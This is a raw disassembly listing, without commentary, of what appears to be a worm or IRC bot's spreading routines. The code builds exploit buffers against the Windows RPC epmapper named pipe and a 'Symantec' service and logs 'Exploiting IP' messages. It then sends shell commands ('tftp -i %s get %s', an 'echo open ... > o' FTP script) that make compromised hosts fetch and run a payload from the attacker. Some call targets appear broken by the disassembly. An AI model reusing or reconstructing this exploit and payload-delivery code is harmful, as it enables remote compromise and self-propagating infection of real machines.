loc_40D9A3 mov eax, [esi+4] test eax, eax jz short loc_40D9A3 lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40D99C cmp al, 0FFh jz short loc_40D99C dec al mov [ecx], al jmp short loc_40D9A3 ; --------------------------------------------------------------------------- loc_40D99C: ; CODE XREF: sub_40D977+19j ; sub_40D977+1Dj push ecx call sub_41D65F pop ecx loc_40D9A3: ; CODE XREF: sub_40D977+8j ; sub_40D977+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D977 endp ; =============== S U B R O U T I N E ======================================= sub_40D9B3 proc near ; CODE XREF: ___:0040D6D3p ; sub_40DB0C+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_40D8F2 test al, al jz short loc_40D9E1 push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_41CD20 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D9E1: ; CODE XREF: sub_40D9B3+12j mov eax, esi pop edi pop esi retn 8 sub_40D9B3 endp ; =============== S U B R O U T I N E ======================================= sub_40D9E8 proc near ; CODE XREF: sub_40D824+39p ; sub_40D824+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D9FB call sub_426173 loc_40D9FB: ; CODE XREF: sub_40D9E8+Cj mov ecx, edi call sub_40DB0C mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40DA11 mov ebx, eax loc_40DA11: ; CODE XREF: sub_40D9E8+25j test ebx, ebx jbe short loc_40DA47 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41D670 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D8F2 test al, al jz short loc_40DA47 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40DA47: ; CODE XREF: sub_40D9E8+2Bj ; sub_40D9E8+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D9E8 endp ; =============== S U B R O U T I N E ======================================= sub_40DA4F proc near ; CODE XREF: sub_40D8F2+79p mov eax, offset loc_426AD0 call sub_41D640 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40DA75 mov edi, [ebp+8] loc_40DA75: ; CODE XREF: sub_40DA4F+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40DA82 xor eax, eax loc_40DA82: ; CODE XREF: sub_40DA4F+2Fj push eax call sub_41D9A5 pop ecx mov [ebp+8], eax jmp short loc_40DAB3 ; --------------------------------------------------------------------------- loc_40DA8E: ; DATA XREF: ___:00427F84o mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40DA9D xor eax, eax loc_40DA9D: ; CODE XREF: sub_40DA4F+4Aj push eax call sub_41D9A5 mov [ebp+8], eax pop ecx mov eax, offset loc_40DAAD retn ; --------------------------------------------------------------------------- loc_40DAAD: ; DATA XREF: sub_40DA4F+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40DAB3: ; CODE XREF: sub_40DA4F+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40DAD1 cmp eax, edi jbe short loc_40DAC0 mov eax, edi loc_40DAC0: ; CODE XREF: sub_40DA4F+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_41CD20 add esp, 0Ch loc_40DAD1: ; CODE XREF: sub_40DA4F+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D977 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40DAF1 mov edi, ebx loc_40DAF1: ; CODE XREF: sub_40DA4F+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40DA4F endp ; =============== S U B R O U T I N E ======================================= sub_40DB0C proc near ; CODE XREF: sub_40D9E8+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40DB39 mov al, [esi-1] test al, al jz short loc_40DB39 cmp al, 0FFh jz short loc_40DB39 push 1 call sub_40D977 push esi call sub_41B9C0 pop ecx push eax push esi mov ecx, edi call sub_40D9B3 loc_40DB39: ; CODE XREF: sub_40DB0C+9j ; sub_40DB0C+10j ... pop edi pop esi retn sub_40DB0C endp ; =============== S U B R O U T I N E ======================================= sub_40DB3C proc near ; DATA XREF: ___:00429008o test byte_4DC018, 1 jnz short loc_40DB4C or byte_4DC018, 1 loc_40DB4C: ; CODE XREF: sub_40DB3C+7j jmp $+5 push offset nullsub_1 call sub_41DA20 pop ecx retn sub_40DB3C endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DB5E proc near ; CODE XREF: ___:0040DF74p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset off_432948 lea edi, [ebp+var_C] mov ecx, 8Ah movsd movsd movsd mov esi, offset off_432940 lea edi, [ebp+var_354] movsd movsw xor eax, eax lea edi, [ebp+var_34E] rep stosd stosw mov al, byte_43DB88 push 45h mov [ebp+var_124], al pop ecx xor eax, eax lea edi, [ebp+var_123] rep stosd stosw stosb lea eax, [ebp+var_124] push 0FFh push eax push 0FFFFFFFFh push [ebp+arg_0] xor edi, edi push edi push edi nop call near ptr 2700000h lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_41DA61 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_41DA61 mov esi, [ebp+arg_4] lea eax, [ebp+var_354] add esp, 10h mov [esi+14h], eax mov eax, offset dword_4CE6F4 push edi push eax push eax push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+1Ch], edi call dword_4CBA74 cmp eax, 5 mov ebx, 4C3h jz short loc_40DC22 cmp eax, ebx jnz short loc_40DC2C loc_40DC22: ; CODE XREF: sub_40DB5E+BEj push edi push edi push edi push esi call dword_4CBA74 loc_40DC2C: ; CODE XREF: sub_40DB5E+C2j cmp eax, 5 jz short loc_40DC3A cmp eax, ebx jz short loc_40DC3A push 1 pop eax jmp short loc_40DC3C ; --------------------------------------------------------------------------- loc_40DC3A: ; CODE XREF: sub_40DB5E+D1j ; sub_40DB5E+D5j xor eax, eax loc_40DC3C: ; CODE XREF: sub_40DB5E+DAj pop edi pop esi pop ebx leave retn sub_40DB5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DC41 proc near ; CODE XREF: ___:0040DFC6p ; ___:0040E0A6p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset off_432948 lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset off_432940 lea edi, [ebp+var_354] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] push 45h rep stosd stosw mov al, byte_43DB88 pop ecx mov [ebp+var_124], al xor eax, eax lea edi, [ebp+var_123] push 0FFh rep stosd stosw stosb lea eax, [ebp+var_124] xor esi, esi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push esi call near ptr 2700000h nop lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_41DA61 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_41DA61 add esp, 10h loc_40DCD2: ; CODE XREF: sub_40DC41+AFj push esi lea eax, [ebp+var_354] push esi push eax call dword_4CB90C test eax, eax jz short loc_40DCF2 push 7D0h nop call near ptr 2680EBDh jmp short loc_40DCD2 ; --------------------------------------------------------------------------- loc_40DCF2: ; CODE XREF: sub_40DC41+A2j push 1 pop eax pop edi pop esi leave retn sub_40DC41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DCF9 proc near ; CODE XREF: ___:0040DFF5p ; ___:0040E133p var_3004 = byte ptr -3004h var_2004 = byte ptr -2004h var_1FE0 = byte ptr -1FE0h var_1FD4 = byte ptr -1FD4h var_1F2D = byte ptr -1F2Dh var_1004 = byte ptr -1004h var_FFC = dword ptr -0FFCh var_FF4 = dword ptr -0FF4h var_F84 = dword ptr -0F84h var_F80 = dword ptr -0F80h var_F50 = dword ptr -0F50h var_F4C = dword ptr -0F4Ch var_F34 = dword ptr -0F34h var_E78 = dword ptr -0E78h var_CA4 = dword ptr -0CA4h var_C9C = dword ptr -0C9Ch var_C94 = byte ptr -0C94h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 3004h call sub_41C500 push esi push edi push offset byte_429108 mov esi, 0A7h push [ebp+arg_0] mov [ebp+var_4], esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_3004] push 1000h push eax call sub_40B22B mov edi, eax add esp, 10h test edi, edi jz loc_40DF48 push ebx mov ebx, offset off_43285C push 30h lea eax, [ebp+var_2004] push ebx push eax call sub_41CD20 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_41BF70 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+var_1F2D] push eax call sub_41CD20 add esp, 24h lea esi, [edi+0D7h] loc_40DD7E: ; CODE XREF: sub_40DCF9+D3j mov eax, esi push 10h cdq pop ecx idiv ecx cmp edx, 0Ch jz short loc_40DDCE mov esi, [ebp+var_4] push 30h lea eax, [ebp+var_2004] inc esi push ebx push eax mov [ebp+var_4], esi call sub_41CD20 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_41BF70 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+esi+var_1FD4] push eax call sub_41CD20 add esp, 24h lea esi, [esi+edi+30h] jmp short loc_40DD7E ; --------------------------------------------------------------------------- loc_40DDCE: ; CODE XREF: sub_40DCF9+90j cmp [ebp+arg_C4], 0 jz short loc_40DDE9 cmp [ebp+arg_C0], 3 jz short loc_40DDF2 cmp [ebp+arg_C0], 0 jmp short loc_40DDF0 ; --------------------------------------------------------------------------- loc_40DDE9: ; CODE XREF: sub_40DCF9+DCj cmp [ebp+arg_C0], 3 loc_40DDF0: ; CODE XREF: sub_40DCF9+EEj jnz short loc_40DDFB loc_40DDF2: ; CODE XREF: sub_40DCF9+E5j push 4 push offset dword_43293C jmp short loc_40DE02 ; --------------------------------------------------------------------------- loc_40DDFB: ; CODE XREF: sub_40DCF9:loc_40DDF0j push 4 push offset dword_432938 loc_40DE02: ; CODE XREF: sub_40DCF9+100j lea eax, [ebp+var_1FE0] push eax call sub_41CD20 add esp, 0Ch lea eax, [ebp+var_1004] push 360h push offset dword_432470 push eax call sub_41CD20 push 10h lea eax, [ebp+var_CA4] push offset dword_4327D4 push eax call sub_41CD20 lea eax, [ebp+var_2004] push esi push eax lea eax, [ebp+var_C94] push eax call sub_41CD20 lea edi, [esi+370h] push 3Ch push offset off_4327E8 lea eax, [ebp+edi+var_1004] push eax call sub_41CD20 add edi, 3Ch push 30h push offset dword_432828 lea eax, [ebp+edi+var_1004] push eax call sub_41CD20 mov eax, esi add edi, 30h cdq sub eax, edx sar eax, 1 add [ebp+var_CA4], eax add [ebp+var_C9C], eax mov eax, [ebp+var_FFC] lea eax, [eax+esi-0Ch] mov [ebp+var_FFC], eax mov eax, [ebp+var_FF4] lea eax, [eax+esi-0Ch] mov [ebp+var_FF4], eax mov eax, [ebp+var_F84] lea eax, [eax+esi-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F80] lea eax, [eax+esi-0Ch] mov [ebp+var_F80], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F4C] lea eax, [eax+esi-0Ch] mov [ebp+var_F4C], eax mov eax, [ebp+var_F34] lea eax, [eax+esi-0Ch] mov [ebp+var_F34], eax mov eax, [ebp+var_E78] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi mov [ebp+var_E78], eax call sub_41BEB5 add esp, 40h mov ebx, eax push esi push 0 push ebx call sub_41BF70 lea eax, [ebp+var_1004] push edi push eax push ebx call sub_41CD20 mov eax, [ebp+arg_BC] add esp, 18h mov [eax], edi mov eax, ebx pop ebx loc_40DF48: ; CODE XREF: sub_40DCF9+3Ej pop edi pop esi leave retn sub_40DCF9 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 1338h call sub_41C500 cmp dword ptr [ebp+0A8h], 1BDh push ebx push esi push edi jnz loc_40E0BA lea eax, [ebp-34h] push eax lea eax, [ebp+0Ch] push eax call sub_40DB5E pop ecx test eax, eax pop ecx jz loc_40E1CA lea eax, [ebp+0Ch] push eax lea eax, [ebp-338h] push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper" push eax call sub_41C266 add esp, 0Ch xor ebx, ebx lea eax, [ebp-338h] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax call near ptr 27207BBh nop cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40DFD1 loc_40DFC2: ; CODE XREF: ___:0040E072j lea eax, [ebp+0Ch] push eax call sub_40DC41 pop ecx jmp loc_40E1CA ; --------------------------------------------------------------------------- loc_40DFD1: ; CODE XREF: ___:0040DFC0j lea eax, [ebp+0Ch] push 2 push eax call sub_4182CD pop ecx lea esi, [ebp+8] pop ecx push 1 push eax lea eax, [ebp-10h] push eax sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DCF9 add esp, 0C8h cmp eax, ebx mov [ebp-8], eax jz short loc_40E069 mov edi, 186A0h push edi call sub_41BEB5 mov esi, eax push edi push ebx push esi call sub_41BF70 add esp, 10h lea eax, [ebp-0Ch] mov edi, 2710h push ebx push eax push edi push esi push 48h push offset dword_432424 push dword ptr [ebp-4] call near ptr 2720000h nop cmp byte ptr [esi+2], 0Ch jnz short loc_40E059 lea eax, [ebp-14h] push ebx push eax push dword ptr [ebp-10h] push dword ptr [ebp-8] push dword ptr [ebp-4] nop call near ptr 2710000h test eax, eax jnz short loc_40E077 loc_40E059: ; CODE XREF: ___:0040E03Fj push esi call sub_41BA91 push dword ptr [ebp-8] call sub_41BA91 pop ecx pop ecx loc_40E069: ; CODE XREF: ___:0040E005j push dword ptr [ebp-4] nop call near ptr 2670000h jmp loc_40DFC2 ; --------------------------------------------------------------------------- loc_40E077: ; CODE XREF: ___:0040E057j lea eax, [ebp-0Ch] push ebx push eax push edi push esi push dword ptr [ebp-4] call near ptr 27010AAh nop push dword ptr [ebp-8] mov edi, eax call sub_41BA91 push esi call sub_41BA91 pop ecx pop ecx push dword ptr [ebp-4] call near ptr 2670000h nop lea eax, [ebp+0Ch] push eax call sub_40DC41 cmp edi, 1 pop ecx jnz loc_40E1DE jmp loc_40E1CA ; --------------------------------------------------------------------------- loc_40E0BA: ; CODE XREF: ___:0040DF66j lea eax, [ebp+0Ch] push 1 push eax call sub_4182CD mov esi, eax pop ecx cmp esi, 1 pop ecx jz loc_40E1CA xor ebx, ebx push ebx push 1 push 2 call dword_4CBA54 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_40E1CA push 10h lea eax, [ebp-24h] push ebx push eax call sub_41BF70 add esp, 0Ch mov word ptr [ebp-24h], 2 push dword ptr [ebp+0A8h] call dword_4CB9D4 mov [ebp-22h], ax lea eax, [ebp+0Ch] push eax call dword_4CBA14 mov [ebp-20h], eax push ebx lea eax, [ebp-0Ch] push esi push eax lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DCF9 mov esi, eax add esp, 0C8h cmp esi, ebx mov [ebp-8], esi jnz short loc_40E14C push dword ptr [ebp-4] jmp short loc_40E1C4 ; --------------------------------------------------------------------------- loc_40E14C: ; CODE XREF: ___:0040E145j mov edi, [ebp-4] lea eax, [ebp-24h] push 10h push eax push edi call dword_4CB97C cmp eax, 0FFFFFFFFh jnz short loc_40E164 loc_40E161: ; CODE XREF: ___:0040E176j push esi jmp short loc_40E1BD ; --------------------------------------------------------------------------- loc_40E164: ; CODE XREF: ___:0040E15Fj push ebx push 48h push offset dword_432424 push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E161 mov esi, 1000h push ebx lea eax, [ebp-1338h] push esi push eax push edi call dword_4CB9EC push ebx push dword ptr [ebp-0Ch] push dword ptr [ebp-8] push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_40E1A5 push dword ptr [ebp-8] jmp short loc_40E1BD ; --------------------------------------------------------------------------- loc_40E1A5: ; CODE XREF: ___:0040E19Ej push ebx lea eax, [ebp-1338h] push esi push eax push edi call dword_4CB9EC push dword ptr [ebp-8] cmp eax, 0FFFFFFFFh jnz short loc_40E1D1 loc_40E1BD: ; CODE XREF: ___:0040E162j ; ___:0040E1A3j call sub_41BA91 pop ecx push edi loc_40E1C4: ; CODE XREF: ___:0040E14Aj call dword_4CBA6C loc_40E1CA: ; CODE XREF: ___:0040DF7Dj ; ___:0040DFCCj ... xor eax, eax jmp loc_40E28D ; --------------------------------------------------------------------------- loc_40E1D1: ; CODE XREF: ___:0040E1BBj call sub_41BA91 pop ecx push edi call dword_4CBA6C loc_40E1DE: ; CODE XREF: ___:0040E0AFj lea eax, [ebp+0Ch] push eax lea eax, [ebp-234h] push offset aTftpFileTransf ; "[TFTP]: File transfer complete to IP: %"... push eax call sub_41C266 add esp, 0Ch xor esi, esi loc_40E1F8: ; CODE XREF: ___:0040E218j lea eax, [ebp-234h] push eax call sub_415E19 test eax, eax pop ecx jnz short loc_40E21C push 1388h call near ptr 2680EBDh nop inc esi cmp esi, 6 jl short loc_40E1F8 jmp short loc_40E28A ; --------------------------------------------------------------------------- loc_40E21C: ; CODE XREF: ___:0040E207j lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax lea eax, [ebp-234h] push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." push eax call sub_41C266 add esp, 10h cmp [ebp+0BCh], ebx jnz short loc_40E268 push ebx lea eax, [ebp-234h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 add esp, 14h loc_40E268: ; CODE XREF: ___:0040E249j lea eax, [ebp-234h] push eax call sub_415D38 mov eax, [ebp+0B0h] pop ecx shl eax, 6 inc dword_431800[eax] lea eax, dword_431800[eax] loc_40E28A: ; CODE XREF: ___:0040E21Aj push 1 pop eax loc_40E28D: ; CODE XREF: ___:0040E1CCj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E292 proc near ; CODE XREF: sub_40E3F1+42Ap var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_4CBA14 mov [ebp+var_C], eax mov ax, word_433290 push eax call dword_4CB9D4 push esi push 1 push 2 mov [ebp+var_E], ax call dword_4CBA54 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40E3CA lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CB97C cmp eax, 0FFFFFFFFh jz loc_40E3CA push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_4CB9EC mov edi, offset byte_429108 push edi push edi push [ebp+arg_0] call sub_40AA06 pop ecx mov esi, 190h push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" lea eax, [ebp+var_1A0] push esi push eax call sub_41C360 add esp, 18h push dword_4CB710 push [ebp+arg_0] call sub_40AA06 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push esi push eax call sub_41C360 add esp, 14h lea eax, [ebp+var_1A0] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E3CA push 1F4h nop call near ptr 2680EBDh push edi push offset dword_42A2E8 lea eax, [ebp+var_1A0] push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_40E3CE loc_40E3CA: ; CODE XREF: sub_40E292+51j ; sub_40E292+67j ... xor al, al jmp short loc_40E3EC ; --------------------------------------------------------------------------- loc_40E3CE: ; CODE XREF: sub_40E292+136j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_4CB9EC push ebx call dword_4CBA6C mov al, 1 loc_40E3EC: ; CODE XREF: sub_40E292+13Aj pop edi pop esi pop ebx leave retn sub_40E292 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E3F1 proc near ; CODE XREF: ___:0040E946p ; ___:0040E968p var_89B4 = byte ptr -89B4h var_894C = byte ptr -894Ch var_68DC = byte ptr -68DCh var_686C = byte ptr -686Ch var_5DA8 = byte ptr -5DA8h var_4804 = byte ptr -4804h var_4803 = byte ptr -4803h var_3770 = byte ptr -3770h var_2CAC = byte ptr -2CACh var_2CAB = byte ptr -2CABh var_2CA8 = byte ptr -2CA8h var_2C2C = byte ptr -2C2Ch var_245C = byte ptr -245Ch var_1FB1 = byte ptr -1FB1h var_1CC4 = byte ptr -1CC4h var_14E0 = byte ptr -14E0h var_14D0 = byte ptr -14D0h var_11AC = byte ptr -11ACh var_11A8 = byte ptr -11A8h var_119C = byte ptr -119Ch var_F14 = byte ptr -0F14h var_E74 = byte ptr -0E74h var_768 = dword ptr -768h var_758 = byte ptr -758h var_744 = byte ptr -744h var_104 = byte ptr -104h var_103 = byte ptr -103h var_B4 = byte ptr -0B4h var_B1 = byte ptr -0B1h var_87 = byte ptr -87h var_85 = byte ptr -85h var_84 = byte ptr -84h var_3C = byte ptr -3Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B4h call sub_41C500 mov eax, dword_43341C push ebx mov [ebp+var_10], eax mov eax, dword_433420 mov [ebp+var_C], eax push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+var_3C] push offset loc_433410 push eax call sub_41C266 add esp, 0Ch xor ebx, ebx xor esi, esi lea eax, [ebp+var_103] loc_40E430: ; CODE XREF: sub_40E3F1+4Ej mov cl, [ebp+esi+var_3C] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, 28h jl short loc_40E430 push 60h lea eax, [ebp+var_B4] push offset dword_432EA0 push eax call sub_41CD20 lea eax, [ebp+var_3C] push eax call sub_41B9C0 shl eax, 1 push eax lea eax, [ebp+var_104] push eax lea eax, [ebp+var_84] push eax call sub_41CD20 add esp, 1Ch lea eax, [ebp+var_3C] push 9 push (offset aC_0+3) push eax call sub_41B9C0 pop ecx lea eax, [ebp+eax*2+var_85] push eax call sub_41CD20 lea eax, [ebp+var_3C] push eax call sub_41B9C0 add al, 1Ah push 1 shl al, 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_B1] push eax call sub_41CD20 lea eax, [ebp+var_3C] push eax call sub_41B9C0 shl al, 1 add al, 9 push 1 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_87] push eax call sub_41CD20 mov ax, word_433290 add esp, 2Ch push eax call dword_4CB9D4 xor eax, 9999h push 2 mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax push offset dword_432BA0 call sub_41CD20 add esp, 0Ch cmp [ebp+arg_C0], ebx jz loc_40E5ED mov edi, 0DACh lea eax, [ebp+var_1CC4] push edi push 90h push eax call sub_41BF70 mov eax, [ebp+arg_C0] push 4 imul eax, 3Ch lea eax, dword_4332D0[eax] mov [ebp+var_14], eax push eax lea eax, [ebp+var_14E0] push eax call sub_41CD20 mov esi, offset loc_432AF0 push esi call sub_41B9C0 push eax lea eax, [ebp+var_14D0] push esi push eax call sub_41CD20 push 4 lea eax, [ebp+var_11AC] push offset loc_433408 push eax call sub_41CD20 push 4 lea eax, [ebp+var_11A8] push [ebp+var_14] push eax call sub_41CD20 add esp, 40h push esi call sub_41B9C0 push eax lea eax, [ebp+var_119C] push esi push eax call sub_41CD20 add esp, 10h xor esi, esi lea eax, [ebp+var_4803] loc_40E5A6: ; CODE XREF: sub_40E3F1+1C6j mov cl, [ebp+esi+var_1CC4] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, edi jl short loc_40E5A6 mov esi, 1C52h lea eax, [ebp+var_89B4] push esi push 31h push eax mov [ebp+var_2CAC], bl mov [ebp+var_2CAB], bl call sub_41BF70 push esi lea eax, [ebp+var_68DC] push 31h push eax call sub_41BF70 add esp, 18h jmp short loc_40E644 ; --------------------------------------------------------------------------- loc_40E5ED: ; CODE XREF: sub_40E3F1+118j push 7D0h lea eax, [ebp+var_F14] push 90h push eax call sub_41BF70 mov esi, offset loc_432AF0 push esi call sub_41B9C0 push eax lea eax, [ebp+var_E74] push esi push eax call sub_41CD20 lea eax, [ebp+var_10] push eax call sub_41B9C0 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_758] push eax call sub_41CD20 mov eax, dword_4332D0 add esp, 2Ch mov [ebp+var_768], eax loc_40E644: ; CODE XREF: sub_40E3F1+1FAj push 0E29h lea eax, [ebp+var_2CA8] push 31h push eax call sub_41BF70 movsx eax, [ebp+var_1] mov edi, [ebp+arg_BC] add esp, 0Ch add eax, 4 push ebx push eax lea eax, [ebp+var_B4] push eax push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_40E683 loc_40E67C: ; CODE XREF: sub_40E3F1+2B9j ; sub_40E3F1+2E0j ... xor al, al jmp loc_40E82B ; --------------------------------------------------------------------------- loc_40E683: ; CODE XREF: sub_40E3F1+289j mov esi, 640h push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9EC push ebx push 68h push offset dword_432F04 push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E67C push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9EC push ebx push 0A0h push offset dword_432F70 push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E67C push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9EC cmp [ebp+arg_C0], ebx jz loc_40E799 push 68h lea eax, [ebp+var_89B4] push offset dword_433128 push eax call sub_41CD20 lea eax, [ebp+var_4804] push 1B5Ah push eax lea eax, [ebp+var_894C] push eax call sub_41CD20 push 70h lea eax, [ebp+var_68DC] push offset dword_433194 push eax call sub_41CD20 lea eax, [ebp+var_3770] push 0A5Eh push eax lea eax, [ebp+var_686C] push eax call sub_41CD20 push 84h lea eax, [ebp+var_5DA8] push offset dword_433208 push eax call sub_41CD20 add esp, 3Ch lea eax, [ebp+var_89B4] push ebx push 10FCh push eax push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jz loc_40E67C push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9EC push ebx push 0FDCh lea eax, [ebp+var_68DC] jmp short loc_40E7EF ; --------------------------------------------------------------------------- loc_40E799: ; CODE XREF: sub_40E3F1+2F8j push 7Ch lea eax, [ebp+var_2CA8] push offset dword_433014 push eax call sub_41CD20 lea eax, [ebp+var_F14] push 7D0h push eax lea eax, [ebp+var_2C2C] push eax call sub_41CD20 push 90h lea eax, [ebp+var_245C] push offset off_433094 push eax call sub_41CD20 add esp, 24h mov [ebp+var_1FB1], bl lea eax, [ebp+var_2CA8] push ebx push 0CF8h loc_40E7EF: ; CODE XREF: sub_40E3F1+3A6j push eax push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jz loc_40E67C push 12Ch nop call near ptr 2680EBDh sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_40E292 add esp, 0BCh test al, al setnz al loc_40E82B: ; CODE XREF: sub_40E3F1+28Dj pop edi pop esi pop ebx leave retn sub_40E3F1 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 854h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp-14h] push edi push eax mov [ebp-4], edi call sub_41BF70 add esp, 0Ch lea eax, [ebp+0Ch] mov word ptr [ebp-14h], 2 push eax call dword_4CBA14 push dword ptr [ebp+0A8h] mov [ebp-10h], eax call dword_4CB9D4 push 6 push 1 push 2 